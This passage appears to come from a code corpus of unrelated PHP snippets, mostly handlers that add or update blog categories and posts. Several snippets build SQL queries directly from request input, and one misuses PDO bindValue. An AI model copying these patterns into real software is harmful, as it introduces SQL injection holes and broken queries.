$diff ) {\n\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t<h3><?php echo \\esc_html( $name ); ?></h3>\n\t\t\t\t\t\t\t\t<?php\n\t\t\t\t\t\t\t\t\techo $diff; // phpcs:ignore WordPress.Security.EscapeOutput\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\t?>\n\n\t\t\t\t\t\t</div>\n\t\t\t\t\t</div>\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t</div>\n\t\t<?php\n\t\t$this->require_wordpress_footer();\n\t}", "public static function save_custom_post( ) {\n\n\t\t\tglobal $post;\t\n\t\t\t\n\t\t\tif( $_POST ) {\n\t\t\t\tupdate_post_meta( $post->ID, 'meta_menucat', $_POST['cat_id'] );\n\t\t\t\t$price = $_POST['dish_price'] . \".\" . $_POST['dish_price_cents'];\n\t\t\t\tupdate_post_meta( $post->ID, 'post_dishprice', $price );\n\t\t\t\t$price2 = $_POST['dish_price2'] . \".\" . $_POST['dish_price_cents2'];\n\t\t\t\tupdate_post_meta( $post->ID, 'post_dishprice2', $price2 );\n\t\t\t\t$type = $_POST['new_dish'] . \"=\" . $_POST['special_dish']. \"=\" . $_POST['hot_dish']. \"=\" . $_POST['spicy_dish']. \"=\" . $_POST['vegetarian_dish'];\n\t\t\t\tupdate_post_meta( $post->ID, 'post_dishtype', $type );\n\t\t\t\t$break = (isset($_POST['breakfast'])) ? \"1\" : \"0\";\n\t\t\t\t$lunch = (isset($_POST['lunch'])) ? \"1\" : \"0\";\n\t\t\t\t$dinner = (isset($_POST['dinner'])) ? \"1\" : \"0\";\n\t\t\t\t$serve = $break . \"=\" . $lunch . \"=\" . $dinner;\n\t\t\t\tupdate_post_meta( $post->ID, 'post_dishserve', $serve );\n\t\t\t\t\n\t\t\t}\n\n\t\t}", "public function categories_add($param = null)\r\n {\r\n if (isset($_POST[\"cat_descr\"]) && !empty($_POST[\"cat_descr\"])) {\r\n $action = $_POST[\"cat_descr\"];\r\n $datas = Category::updateOrCreate([\r\n 'cat_descr' => $action,\r\n ]);\r\n // Return last insert row:\r\n echo $datas;\r\n } else {\r\n echo json_encode([\"message\" => \"ERROR!\"]);\r\n }\r\n }", "function sensible_category() {\n wp_update_term(1, 'category', array(\n 'name' => 'News',\n 'slug' => 'news', \n 'description' => 'News'\n ));\n }", "public function AddCategory(CategoryTSE $category) {\n $this->Categories[] = $category;\n }", "public function addCategoryToGroupById($gorup_id, $category_id);", "public function category_add() {\n\t\t// Setup validation\n\t\t$this->data['validation'] = \"\";\n\t\t$this->data['category']\t= array('name' => '', 'url_name' => '');\n\t\t\n\t\t// Handle POST\n\t\tif ($this->mojo->input->post('category')) {\n\t\t\t// Get the category data\n\t\t\t$this->data['category']\t= $this->mojo->input->post('category');\n\t\t\t\n\t\t\t// Insert it!\n\t\t\tif ($this->mojo->blog_model->insert_category($this->data['category'])) {\n\t\t\t\t// It's success\n\t\t\t\t$response['result'] = 'success';\n\t\t\t\t$response['reveal_page'] = site_url('admin/addons/blog/categories_all');\n\t\t\t\t$response['message'] = 'Successfully created category';\n\t\t\t\t\n\t\t\t\texit($this->mojo->javascript->generate_json($response));\n\t\t\t} else {\n\t\t\t\t// There have been validation errors\n\t\t\t\t$response['result'] = 'error';\n\t\t\t\t$response['message'] = $this->mojo->blog_model->validation_errors;\n\t\t\t\t\n\t\t\t\t// Output the response\n\t\t\t\texit($this->mojo->javascript->generate_json($response));\n\t\t\t}\n\t\t}\n\t\t\n\t\t// Show the view\n\t\t$this->_view('category_add');\n\t}", "public function addPost($post)\n {\n $this->post[] = $post;\n }", "public function touchCategory($pid)\n\t{\n\t\t$tname=$this->tablename('catalog_category_entity');\n\t\t$this->update(\"UPDATE $tname SET updated_at=? WHERE entity_id=?\",array(strftime(\"%Y-%m-%d %H:%M:%S\"),$pid));\n\t}", "public function updated(Post $post)\n {\n // Category\n if ($post->category != $post->getOriginal('category')) {\n Category::find($post->category)->increment('num');\n Category::find($post->getOriginal('category'))->decrement('num');\n }\n\n\n // Tag\n if ($post->tags != $post->getOriginal('tags')) {\n Tag::whereIn('id', explode(',', $post->tags))->increment('num');\n Tag::whereIn('id', explode(',', $post->getOriginal('tags')))->decrement('num');\n }\n }", "public function addPost($data) {\n\t\t\t\n\t\t\t// Set the initial status value\n\t\t\t$rvalue = Engine::DATABASE_ERROR_COULD_NOT_ACCESS_DATABASE;\n\t\t\t\n\t\t\t// Check to see if the type of post matches the supported features of the module\n\t\t\tif (isset($data['type']) && $data['type'] == $this->MODULE_FEATURE) {\n\n\t\t\t\t// Attempt to insert the new post into the database\n\t\t\t\t$result = $this->database_module->queryDatabase(\"INSERT INTO scms_posts (title, details, filename, author, type, category) \" .\n\t\t\t\t\t\"VALUES('\".$data['title'].\"', '\".$data['details'].\"', '\".$data['filename'].\"', \".$data['author'].\", \".$data['type'].\", \".$data['category'].\");\");\n\n\t\t\t\t// Check on the success of the insert\n\t\t\t\tif (count($result) > 0) {\n\t\t\t\t\t$rvalue = Engine::DATABASE_ERROR_NO_ERROR;\n\t\t\t\t} else {\n\t\t\t\t\t$rvalue = Engine::DATABASE_ERROR_NO_QUERY_RESULTS;\n\t\t\t\t}\n\t\t\t}\t\n\t\t\t\n\t\t\t// Return the value\n\t\t\treturn $rvalue;\n\t\t}", "function target_add_cat($cat)\n{\n\tif ($GLOBALS['VERBOSE']) pf('...'. $cat['name']);\n\n\tq('INSERT INTO '. $GLOBALS['DBHOST_TBL_PREFIX'] .'cat (id, name, view_order, cat_opt) \n\t VALUES('. (int)$cat['id'] .','. _esc($cat['name']) .','. (int)$cat['view_order'] .', 3)');\n\t$GLOBALS['cat_map'][ $cat['id'] ] = $cat['id'];\n/*\nfud_use('cat.inc', true);\n$nc = new fud_cat;\n$nc->name = $c->name;\n$nc->description = $c->description;\n$nc->view_order = $c->disporder;\n$nc->cat_opt = 1|2;\t// This should be the default in cat.inc. Fix in next release and del this line.\n$GLOBALS['cat_map'][$c->fid] = $nc->add('LAST');\t// FIRST should also be defaulted.\n*/\n}", "function _wp_customize_publish_changeset($new_status, $old_status, $changeset_post)\n {\n }", "public function run_change_cat($cat,$id){\n\n\t\t$sql = \"UPDATE `categories` SET `cat` = '$cat' WHERE `id` = $id\";\n\n\t\t\t$this->query($sql);\n\t}", "public function executeAddCategoryNewPost(HTTPRequest $request)\n {\n $this->addCategory($request);\n $this->app->getHttpResponse()->redirect('/admin/addPost');\n }", "function wp_update_category($catarr)\n {\n }", "function store_addcategory()\r\n{\r\n\tglobal $_user;\r\n\tglobal $dropbox_cnf;\r\n\r\n\t// check if the target is valid\r\n\tif ($_POST['target']=='sent')\r\n\t{\r\n\t\t$sent=1;\r\n\t\t$received=0;\r\n\t}\r\n\telseif ($_POST['target']=='received')\r\n\t{\r\n\t\t$sent=0;\r\n\t\t$received=1;\r\n\t}\r\n\telse\r\n\t{\r\n\t\treturn get_lang('Error');\r\n\t}\r\n\r\n\t// check if the category name is valid\r\n\tif ($_POST['category_name']=='')\r\n\t{\r\n\t\treturn get_lang('ErrorPleaseGiveCategoryName');\r\n\t}\r\n\r\n\tif (!$_POST['edit_id'])\r\n\t{\r\n\t\t// step 3a, we check if the category doesn't already exist\r\n\t\t$sql=\"SELECT * FROM \".$dropbox_cnf['tbl_category'].\" WHERE user_id='\".$_user['user_id'].\"' AND cat_name='\".Database::escape_string($_POST['category_name']).\"' AND received='\".$received.\"' AND sent='\".$sent.\"'\";\r\n\t\t$result=api_sql_query($sql);\r\n\r\n\r\n\t\t// step 3b, we add the category if it does not exist yet.\r\n\t\tif (mysql_num_rows($result)==0)\r\n\t\t{\r\n\t\t\t$sql=\"INSERT INTO \".$dropbox_cnf['tbl_category'].\" (cat_name, received, sent, user_id)\r\n\t\t\t\t\tVALUES ('\".Database::escape_string($_POST['category_name']).\"', '\".Database::escape_string($received).\"', '\".Database::escape_string($sent).\"', '\".Database::escape_string($_user['user_id']).\"')\";\r\n\t\t\tapi_sql_query($sql);\r\n\t\t\treturn get_lang('CategoryStored');\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\treturn get_lang('CategoryAlreadyExistsEditIt');\r\n\t\t}\r\n\t}\r\n\telse\r\n\t{\r\n\t\t$sql=\"UPDATE \".$dropbox_cnf['tbl_category'].\" SET cat_name='\".Database::escape_string($_POST['category_name']).\"', received='\".Database::escape_string($received).\"' , sent='\".Database::escape_string($sent).\"'\r\n\t\t\t\tWHERE user_id='\".Database::escape_string($_user['user_id']).\"'\r\n\t\t\t\tAND cat_id='\".Database::escape_string($_POST['edit_id']).\"'\";\r\n\t\tapi_sql_query($sql);\r\n\t\treturn get_lang('CategoryModified');\r\n\t}\r\n}", "function kcsite_update_posts_cats(){\n\tglobal $staticVars;\n\t$args = array(\n\t\t'post_type' => 'post', \n\t\t'post_status' => 'any',\n\t\t'numberposts' => 1000,\n\t\t'lang' => pll_current_language('slug'),\n\t\t'tax_query' => array(\n\t\t\tarray(\n\t\t\t\t'taxonomy' => 'new-type',\n\t\t\t\t'field' => 'id',\n\t\t\t\t'terms' => array($staticVars['ordinaryNewTypeID']),\n\t\t\t\t'operator' => 'NOT IN'\n\t\t\t)\n\t\t)\n\t);\t\t\t\n\t$results = get_posts($args);\n\tforeach ($results as $key => $val) {\n\t\twp_set_post_terms($val->ID, array($staticVars['ordinaryNewTypeID']), 'new-type');\n\t}\t\n\t// iprastos lt - 89, iprastos en - 15\n}", "public function add_category() {\n\t $this->use_layout=false;\n\t\t$this->model = new $this->model_class(WaxUrl::get(\"id\"));\n\t\t$category = new CmsCategory(substr($_POST[\"id\"], 4));\n\t\t$this->model->categories = $category;\n\t\tif(!$this->attached_categories = $this->model->categories) $this->attached_categories= array();\n\t\t$cat = new CmsCategory;\n\t\tif(!$this->all_categories = $cat->all() ) $this->all_categories=array();\t\t\n\t\t$this->cat_partial = $this->render_partial(\"list_categories\");\n\t}", "public function add_postAction() {\r\n\t\t$info = $this->getPost(array('sort', 'title', 'channel_id', 'link', 'start_time', 'end_time','hits', 'status'));\r\n\t\t$info = $this->_cookData($info);\r\n\t\t$result = Gou_Service_Notice::addNotice($info);\r\n\t\tif (!$result) $this->output(-1, '操作失败');\r\n\t\t$this->output(0, '操作成功');\r\n\t}", "function wp_after_insert_post($post, $update, $post_before)\n {\n }", "function addCategory() {\n var_dump($this->request->data);\n if ($this->request->is('post') || $this->request->is('put')) {\n $ci = $this->CategoryItem->create();\n var_dump($ci);\n if ($this->CategoryItem->save($this->request->data)) {\n $this->Session->setFlash(__('The %s has been saved', __('link')), 'flash/success');\n } else {\n $this->Session->setFlash(__('The %s could not be saved. Please, try again.', __('link')), 'flash/failure');\n }\n// $this->redirect(array('action' => 'edit', $this->Item->id));\n } else {\n $this->redirect(array('action' => 'index'));\n }\n }", "public function change()\n {\n $this->table('categories')\n ->addColumn('id', 'integer', [\n 'autoIncrement' => true,\n 'default' => null,\n 'limit' => null,\n 'null' => false,\n 'signed' => false,\n ])\n ->addPrimaryKey(['id'])\n ->addColumn('categoryCd', 'string', [\n 'default' => null,\n 'limit' => 20,\n 'null' => false,\n // 'unique' => true, // 一意の名称\n ])\n ->addIndex(['categoryCd'], ['unique' => true])\n ->addColumn('categoryName', 'string', [\n 'default' => null,\n 'limit' => 255,\n 'null' => true,\n ])\n ->addPrimaryKey(['categoryName'])\n ->addColumn('subCategoryName', 'string', [\n 'default' => null,\n 'limit' => 255,\n 'null' => true,\n ])\n // ->addPrimaryKey(['subCategoryName'])\n ->addColumn('created', 'datetime', [\n 'default' => null,\n 'limit' => null,\n 'null' => true,\n ])\n ->addColumn('modified', 'datetime', [\n 'default' => null,\n 'limit' => null,\n 'null' => true,\n ])\n ->create();\n }", "public function editCustomField($editCategory) {\n\n if (isset($editCategory)) {\n\n if (isset($editCategory['custom_fields'])) {\n $data['custom_fields'] = $editCategory['custom_fields'];\n } else {\n $data['custom_fields'] = NULL;\n }\n $this->db->where('id', $editCategory['category_id']);\n $this->db->update('categories', $data);\n return TRUE;\n } else {\n return False;\n }\n }", "public function add_category() {\n $this->category();\n $this->loadView(\"editors/category_editor\");\n }", "public function addNewItem($category)\n {\n //Add tool\n if ($category==\"tools\") {\n\n if (isset($_POST['addTool'])) {\n $name=$_POST['name'];\n $quantity=$_POST['quantity'];\n $date_added=$_POST['addition_date'];\n $description_type=$_POST['description'];\n\n //create an object of tools and add it to the database\n $tool=new Tool($name, $quantity, $date_added ,$description_type);\n $tool->addItem();\n\n }\n //add feeds\n }else if ($category==\"feeds\") {\n if (isset($_POST['addFeed'])) {\n $name=$_POST['name'];\n $quantity=$_POST['quantity'];\n $date_added=$_POST['addition_date'];\n $description_type=$_POST['type'];\n\n //create an object of feeeds and add it to the database\n $feed= new Feed($name, $quantity, $date_added ,$description_type);\n $feed->addItem();\n }\n }\n\n }", "public function store_posted_changes($post_val)\n {\n $post_val = strip_tags(html_entity_decode($post_val), '<b><strong><i><em><u>');\n\n if($this->data != $post_val)\n {\n $this->data = $post_val;\n $this->modified = 1;\n }\n }", "public function addPost($post)\n {\n $this->posts[] = $post;\n }", "function sos_chapter_change_cat_object() {\n global $wp_taxonomies;\n $labels = &$wp_taxonomies['product_cat']->labels;\n $labels->name = 'Topic';\n $labels->singular_name = 'Topic';\n $labels->add_new = 'Add Topic';\n $labels->add_new_item = 'Add Topic';\n $labels->edit_item = 'Edit Topic';\n $labels->new_item = 'Topic';\n $labels->view_item = 'View Topic';\n $labels->search_items = 'Search Topics';\n $labels->not_found = 'No Topics found';\n $labels->not_found_in_trash = 'No Topics found in Trash';\n $labels->all_items = 'All Topics';\n $labels->menu_name = 'Topic';\n $labels->name_admin_bar = 'Topic';\n}", "function multi_entry_category_update()\n\t{\n\t\tif ( ! $this->cp->allowed_group('can_access_content'))\n\t\t{\n\t\t\tshow_error($this->lang->line('unauthorized_access'));\n\t\t}\n\n\t\tif ($this->input->get_post('entry_ids') === FALSE OR $this->input->get_post('type') === FALSE)\n\t\t{\n\t\t\treturn $this->dsp->no_access_message($this->lang->line('unauthorized_to_edit'));\n\t\t}\n\n\t\tif ($this->input->get_post('category') === FALSE OR ! is_array($_POST['category']) OR count($_POST['category']) == 0)\n\t\t{\n\t\t\treturn $this->output->show_user_error('submission', $this->lang->line('no_categories_selected'));\n\t\t}\n\n\t\t/** ---------------------------------\n\t\t/**\t Fetch categories\n\t\t/** ---------------------------------*/\n\n\t\t// We do this first so we can destroy the category index from\n\t\t// the $_POST array since we use a separate table to store categories in\n\t\t\n\t\t$this->api->instantiate('channel_categories');\n\n\t\tforeach ($_POST['category'] as $cat_id)\n\t\t{\n\t\t\t$this->api_channel_categories->cat_parents[] = $cat_id;\n\t\t}\n\n\t\tif ($this->api_channel_categories->assign_cat_parent == TRUE)\n\t\t{\n\t\t\t$this->api_channel_categories->fetch_category_parents($_POST['category']);\n\t\t}\n\n\t\t$this->api_channel_categories->cat_parents = array_unique($this->api_channel_categories->cat_parents);\n\n\t\tsort($this->api_channel_categories->cat_parents);\n\n\t\tunset($_POST['category']);\n\n\t\t$ids = array();\n\n\t\tforeach (explode('|', $_POST['entry_ids']) as $entry_id)\n\t\t{\n\t\t\t$ids[] = $this->db->escape_str($entry_id);\n\t\t}\n\n\t\tunset($_POST['entry_ids']);\n\n\t\t$entries_string = implode(\"','\", $ids);\n\n\t\t/** -----------------------------\n\t\t/**\t Get Category Group IDs\n\t\t/** -----------------------------*/\n\t\t$query = $this->db->query(\"SELECT DISTINCT exp_channels.cat_group FROM exp_channels, exp_channel_titles\n\t\t\t\t\t\t\t WHERE exp_channel_titles.channel_id = exp_channels.channel_id\n\t\t\t\t\t\t\t AND exp_channel_titles.entry_id IN ('\".$entries_string.\"')\");\n\n\t\t$valid = 'n';\n\n\t\tif ($query->num_rows() > 0)\n\t\t{\n\t\t\t$valid = 'y';\n\t\t\t$last = explode('|', $query->row('cat_group') );\n\n\t\t\tforeach($query->result_array() as $row)\n\t\t\t{\n\t\t\t\t$valid_cats = array_intersect($last, explode('|', $row['cat_group']));\n\n\t\t\t\tif (count($valid_cats) == 0)\n\t\t\t\t{\n\t\t\t\t\t$valid = 'n';\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif ($valid == 'n')\n\t\t{\n\t\t\treturn $this->dsp->show_user_error($this->lang->line('no_category_group_match'));\n\t\t}\n\n\t\t/** -----------------------------\n\t\t/**\t Remove Valid Cats, Then Add...\n\t\t/** -----------------------------*/\n\n\t\t$valid_cat_ids = array();\n\t\t$query = $this->db->query(\"SELECT cat_id FROM exp_categories\n\t\t\t\t\t\t\t WHERE group_id IN ('\".implode(\"','\", $valid_cats).\"')\n\t\t\t\t\t\t\t AND cat_id IN ('\".implode(\"','\", $this->api_channel_categories->cat_parents).\"')\");\n\n\t\tif ($query->num_rows() > 0)\n\t\t{\n\t\t\tforeach($query->result_array() as $row)\n\t\t\t{\n\t\t\t\t$this->db->query(\"DELETE FROM exp_category_posts WHERE cat_id = \".$row['cat_id'].\" AND entry_id IN ('\".$entries_string.\"')\");\n\t\t\t\t$valid_cat_ids[] = $row['cat_id'];\n\t\t\t}\n\t\t}\n\t\t\n\t\tif ($this->input->get_post('type') == 'add')\n\t\t{\n\t\t\t$insert_cats = array_intersect($this->api_channel_categories->cat_parents, $valid_cat_ids);\n\t\t\t// How brutish...\n\t\t\tforeach($ids as $id)\n\t\t\t{\n\t\t\t\tforeach($insert_cats as $val)\n\t\t\t\t{\n\t\t\t\t\t$this->db->query($this->db->insert_string('exp_category_posts', array('entry_id' => $id, 'cat_id' => $val)));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\n\t\t/** ---------------------------------\n\t\t/**\t Clear caches if needed\n\t\t/** ---------------------------------*/\n\n\t\tif ($this->config->item('new_posts_clear_caches') == 'y')\n\t\t{\n\t\t\t$this->functions->clear_caching('all');\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->functions->clear_caching('sql');\n\t\t}\n\t\t\n\t\t$this->session->set_flashdata('message_success', $this->lang->line('multi_entries_updated'));\n\t\t$this->functions->redirect(BASE.AMP.'C=content_edit');\n\t}", "function add_new_category()\n\t{\n\t\t$this->data['title'] \t= 'Add New Portfolio Category';\n\t\t$this->data['css'] \t\t= 'body/admin/css/form_style_default';\n\t\t$this->data['js'] \t\t= 'body/admin/js/form_style_default';\n\t\t$this->data['content'] \t= 'content/admin/portfolio/add_new_category';\n\t\t$this->load->view('body/admin/style_1', $this->data);\n\t}", "public function add_post()\n {\n $input = $this->input->post();\n $user=$this->session->userdata('uid');\n $data=$this->Category_model->insertData($input,$user);\n if($data==1)\n $this->response('Category information added.', REST_Controller::HTTP_CREATED);\n else\n $this->response('Category already present!', REST_Controller::HTTP_OK);\n }", "public function add_category()\n {\n \n if(isset($_POST['category_name']) && isset($_POST['category_desc'])){\n\t\t \n\t\t \n\t\t $query = $this->Product_model->add_category();\n\t\t\t if($query){\n\t\t\t\t \n\t\t\t\t echo 'added';\n\t\t\t\t }else{\n\t\t\t\t\t \n\t\t\t\t\t echo 'error';\n\t\t\t\t\t }\n\t\t \n\t\t }\n \n }", "public function created(BlogCategory $blogCategory)\n {\n # ПОПАДАЕМ ПОСЛЕ СОЗДАНИЯ ЗАПИСИ\n }", "function addNewCommittee($committee) {\n\t\t$new_post = array(\n\t\t\t'post_title' => $committee->COMMITTEENAME,\n\t\t\t'post_content' => '',\n\t\t\t'post_status' => 'publish',\n\t\t\t'post_author' => 1,\n\t\t\t'post_type' => 'rotary-committees',\n\t\t\t'post_category' => array(0)\n\t\t);\n\t\t$post_id = wp_insert_post($new_post);\n\t\t//add_post_meta($post_id, 'committeenumber', $committee->COMMITTEEID, true);\n\t\tupdate_field('field_5351b9ef109fe', $committee->COMMITTEEID, $post_id);\n\t\t$committeeDesc = str_replace(\"&rsquo;\", \"'\", $committee->DESCRIPTION);\n\t\tupdate_field('field_5351ba0f109ff', html_entity_decode(strip_tags($committeeDesc)), $post_id);\n\t\t$this->connectMemberToCommittee($committee->COMMITTEEID, $post_id);\n\n\t}", "public function add_postAction() {\n\t\t$info = $this->getPost(array('sort','name'));\n\t\t$supplier = Fanli_Service_Ptype::getBy(array('name'=>$info['name']));\n\t\tif($supplier) $this->output(-1, '操作失败,该分类已存在');\n\t\t$info = $this->_cookData($info);\n\t\t$result = Fanli_Service_Ptype::addType($info);\n\t\tif (!$result) $this->output(-1, '操作失败');\n\t\t$this->output(0, '操作成功');\n\t}", "public function postCategory($slug) {\n // 'name' che è il nome per esteso della categoria\n // 'slug' che è lo slug ricavato dal nome per esteso della categoria\n // questa funzione riceve in ingresso lo slug ($slug) della categoria\n // e deve ricavare l'elenco di tutti i posts che hanno quella categoria associata\n // identificati dallo slug ricevuto come parametro in ingresso.\n // Poi la funzione richiama una view e le passa l'elenco di tutti i posts trovati\n // e l'oggetto categoria, quella identificata dallo slug ricevuto in ingresso\n\n // cerco nella colonna 'slug' della mia tabella 'categories', la categoria (record) con slug uguale al parametro ricevuto\n $category = Category::where('slug', $slug)->first();\n\n // verifico se la select fatta sul DB mi ha ritornato qualcosa per la categoria ricercata tramite slug\n // ad esempio l'utente potrebbe modificare la stringa nella barra indirizzi, alterando il nome\n // dello slug e scrivendo un qualcosa che non esiste e non corrisponde a nessuna categoria del DB\n if (!empty($category)) {\n // qui sfrutto la relazione fra categorie e posts, cioè la relazione fra le entità/modelli\n // Category e Post. Nella classe Category è definito un metodo posts()\n // (cioè col nome dell'entità verso la quale è definita la relazione)\n // posts() ritorna $this->hasMany('App\\Post');\n // chiamo la proprietà posts (in questa maniera'$category->posts')\n // che restituisce i post che sono legati da relazione in base alla categoria\n $posts_by_category = $category->posts;\n\n // chiamo una view per visualizzare tutti i post della categoria ricercata,\n // gli passo la categoria e l'elenco dei posts\n return view('public.posts.posts-by-category', [\n 'category' => $category,\n 'posts' => $posts_by_category\n ]);\n } else {\n // ritorno la pagina di errore \"Page not found\" poichè lo slug ricevuto in ingresso\n // non corrisponde a nessuna categoria presente nel mio DB (tabella 'categories')\n return abort(404);\n }\n }", "public function addCategory(HostCategory $category): void;", "public function addCategory(String $name, string $slug, Int $postId): bool\n {\n $query = $this->pdo->prepare(' INSERT INTO category (name, slug) VALUE (:name, :slug)');\n $query->bindValue(':name', $name, ':slug', $slug);\n $query->execute();\n $categoryId = $this->pdo->lastInsertId();\n\n $query = $this->pdo->prepare('INSERT INTO post_category (post_id, category_id) VALUE (:postId, :categoryId)');\n $query->bindValue(':postId', $postId,':categoryId', $categoryId);\n return $query->execute();\n //After that insert the id in the post_category table \n }", "public function onDisplayBlogPostEdit($event)\r\n {\r\n $item = $event->getArgument('item');\r\n $tabs = $event->getArgument('tabs');\r\n $content = $event->getArgument('content');\r\n \r\n $view = \\Dsc\\System::instance()->get('theme');\r\n $shop_content = $view->renderLayout('Shop/Admin/Views::listeners/fields_related_products.php');\r\n \r\n $tabs['shop'] = 'Shop';\r\n $content['shop'] = $shop_content;\r\n \r\n $event->setArgument('tabs', $tabs);\r\n $event->setArgument('content', $content);\r\n }", "public function addPostAction() {\n $inputVars = $this->getInput(array(\n \t\t'id', 'dataType', //主表字段:id,type\n \t\t \t'data'//子表字段\n ));\n \tlist($news, $itemsList) = $this->checkInput($inputVars);\n \t$news['create_time'] = time();\n \t$result = Admin_Service_Material::add($news, $itemsList);\n \tif (!$result) $this->failPostOutput('操作失败');\n \t$this->successPostOutput($this->actions['listUrl']);\n }", "public function update_category ($data) {\n\t\t$slug = \\Illuminate\\Support\\Str::slug($data->category, '-');\n\t\t$category = Category::find($data->category_id);\n\t\t$category->category = $data->category;\n\t\t$category->slug = $slug;\n\t\t$category->description = $data->description;\n\n\t\t$category->save();\n\t\treturn true;\n\t}", "public function change($changes);", "function _event_change($act, $params)\n\t{\n\n\n\t\tswitch ($act)\n\t\t{\n\t\t\tcase 'del':\n\t\t\t{\n\t\t\t\t$where \t= $params[0];\n\t\t\t\tif (isset($where[$this->key]))\n\t\t\t\t{\n\t\t\t\t\t$id = $where[$this->key];\n\t\t\t\t\t// Xoa noi dung lang\n\t\t\t\t\tmodel('cat_content')->del($id);\n\n\t\t\t\t\t// Cap nhat lai cache\n\t\t\t\t\t// chu y du cat co su dung song ngu, do do phan add, edit dc goi truoc cat_content model update du lieu\n\t\t\t\t\t// do do ta phai goi update cache o trong Controller khi goi ham add,edit\n\n\t\t\t\t\t//$where \t= $params[0];\n\t\t\t\t\t//$id = $where[$this->key];\n\t\t\t\t\t/*$info =$this->get_info($id);\n\t\t\t\t\t// Cap nhat lai cache\n\t\t\t\t\t$this->cache_update($info->type);\n\t\t\t\t\t$this->cache_update('_all');*/\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\n\t}", "public function store() {\n\t\t$post = new Post;\n\t\t$post->title = Input::get('title');\n\t\t$post->body = Input::get('body');\n\t\t$post->save();\n\n\t\t$post->category()->sync([\n\t\t\tInput::get('category_id'), $post->post_id\n\t\t]);\n\t}", "public function add_gallery_category_post()\n {\n prevent_author();\n\n //validate inputs\n $this->form_validation->set_rules('name', trans(\"category_name\"), 'required|xss_clean|max_length[200]');\n\n if ($this->form_validation->run() === false) {\n $this->session->set_flashdata('errors_form', validation_errors());\n $this->session->set_flashdata('form_data', $this->gallery_category_model->input_values());\n redirect($this->agent->referrer());\n } else {\n if ($this->gallery_category_model->add_category()) {\n $this->session->set_flashdata('success_form', trans(\"category\") . \" \" . trans(\"msg_suc_added\"));\n redirect($this->agent->referrer());\n } else {\n $this->session->set_flashdata('form_data', $this->gallery_category_model->input_values());\n $this->session->set_flashdata('error_form', trans(\"msg_error\"));\n redirect($this->agent->referrer());\n }\n }\n }", "public function update(Request $request, Post $post)\n {\n $data = $request->all();\n \n // validazione\n $request->validate($this->postValidationArray);\n\n // se il titolo dopo la modifica è diverso dal precedente, devo ricomporre lo slug\n if($post->title != $data[\"title\"]) {\n $slug = $this->generateSlug($data);\n\n $data[\"slug\"] = $slug;\n }\n\n // gestisco l'update della cover. Se c'è già un'immagine al momento dell'upload, cancello quella precedente con Storage::delete($post->cover)\n if(array_key_exists('cover', $data)) {\n if($post->cover) {\n Storage::delete($post->cover);\n }\n $data[\"cover\"] = Storage::put('post_covers', $data[\"cover\"]);\n } \n\n // categoria viene importata dal fillable del model post\n $post->update($data);\n\n\n //come per lo store, aggiorno i tag dei post (se ce ne sono). \n // uso sync per sincronizzare i nuovi tags, e nell'else uso detach (se il post conteneva tags ma dopo la modifica non ne ha più)\n if(array_key_exists('tags', $data)) {\n $post->tags()->sync($data[\"tags\"]);\n } else {\n // $post->tags->sync([]);\n $post->tags()->detach();\n }\n\n return redirect()->route('admin.posts.show', $post->id);\n }", "public function testCreateAndUpdateCategory()\n\t{\n\t\t$user = factory(User::class)->create();\n\t\tPassport::actingAs($user);\n $category = factory(Category::class)->create(['user_id' => $user->id]);\n $task = factory(Task::class)->create(['category_id' => $category->id]);\n\n\t\t// Update\n $array_task['category_id'] = $category->id;\n $array_task['description'] = 'Task Update';\n\n\t\t$response = $this->patch('api/categories/' . $category->id . '/tasks/' . $task->id, $array_task);\n\t\t$response->assertStatus(200);\n\n\t\t$this->assertDatabaseHas('tasks', $array_task);\n\t\t$this->assertDatabaseMissing('tasks', [\"description\" => $task->description]);\n\t}", "public function edit_postAction() {\r\n\t\t$info = $this->getPost(array('sort', 'id', 'ad_type', 'ad_ptype', \r\n\t\t\t\t'title', 'link', 'activity', 'clientver', 'img', 'start_time', 'end_time', 'status',\r\n\t\t\t\t'hits', 'channel_id', 'module_id', 'cid', 'channel_code', 'ptype_id', 'is_recommend', 'action'));\r\n\t\t$info = $this->_cookData($info);\r\n\t\t$ret = Gou_Service_Ad::updateAd($info, intval($info['id']));\r\n\t\tif (!$ret) $this->output(-1, '操作失败');\r\n\t\t$this->output(0, '操作成功.'); \t\t\r\n\t}", "public function addNew() {\n\t global $db, $log, $cache;\n\n\n\n\t // DB Checks !!!\n\n\n\n\t\t// Add a new category\n\t\t$cat_ID = $db->insert('projects_categories', array(\n\t\t\t\"user_ID\" => currentUserID()\n\t\t));\n\n\n\t\t// Site log\n\t\tif ($cat_ID) $log->info(\"Project Category #$cat_ID Added: Untitled | User #\".currentUserID());\n\n\n\t\t// INVALIDATE THE CACHES\n\t\tif ($cat_ID) $cache->deleteKeysByTag('project_categories');\n\n\n\t\t// Return the category ID\n\t\treturn $cat_ID;\n\n\t}", "public function categories_update($param = null)\r\n {\r\n if (isset($_POST[\"cat_id\"]) && !empty($_POST[\"cat_id\"])) {\r\n $action = $_POST[\"cat_id\"];\r\n $newValue = $_POST[\"cat_descr\"];\r\n $update = Category::find($action)->update(['cat_descr' => $newValue]);\r\n echo $update;\r\n\r\n } else {\r\n echo json_encode([\"error\" => \"ERROR\"]);\r\n }\r\n }", "function addCategory($monographId, $categoryId) {\n\t\t$this->update(\n\t\t\t'INSERT INTO submission_categories\n\t\t\t\t(submission_id, category_id)\n\t\t\tVALUES\n\t\t\t\t(?, ?)',\n\t\t\tarray(\n\t\t\t\t(int) $monographId,\n\t\t\t\t(int) $categoryId\n\t\t\t)\n\t\t);\n\t}", "public function post_edit_submit() {\n\n $slug = in('slug'); // forum id ( slug ). It is only available on creating a new post.\n $post_ID = in('post_ID'); // post id. it is only available on updating a post.\n $title = in('title');\n $content = in('content');\n\n if ( empty( $slug ) && empty( $post_ID ) ) ferror(-50044, 'slug ( category_slug ) or post_ID are not provided');\n if ( ! $title ) ferror(-50045, 'post title is not provided');\n if ( ! $content ) ferror(-50046,'post content is not provided');\n $user_ID = $this->get_post_author();\n if ( empty($user_ID) ) ferror( -50047, \"login first\");\n\n if ( $post_ID ) { // update\n 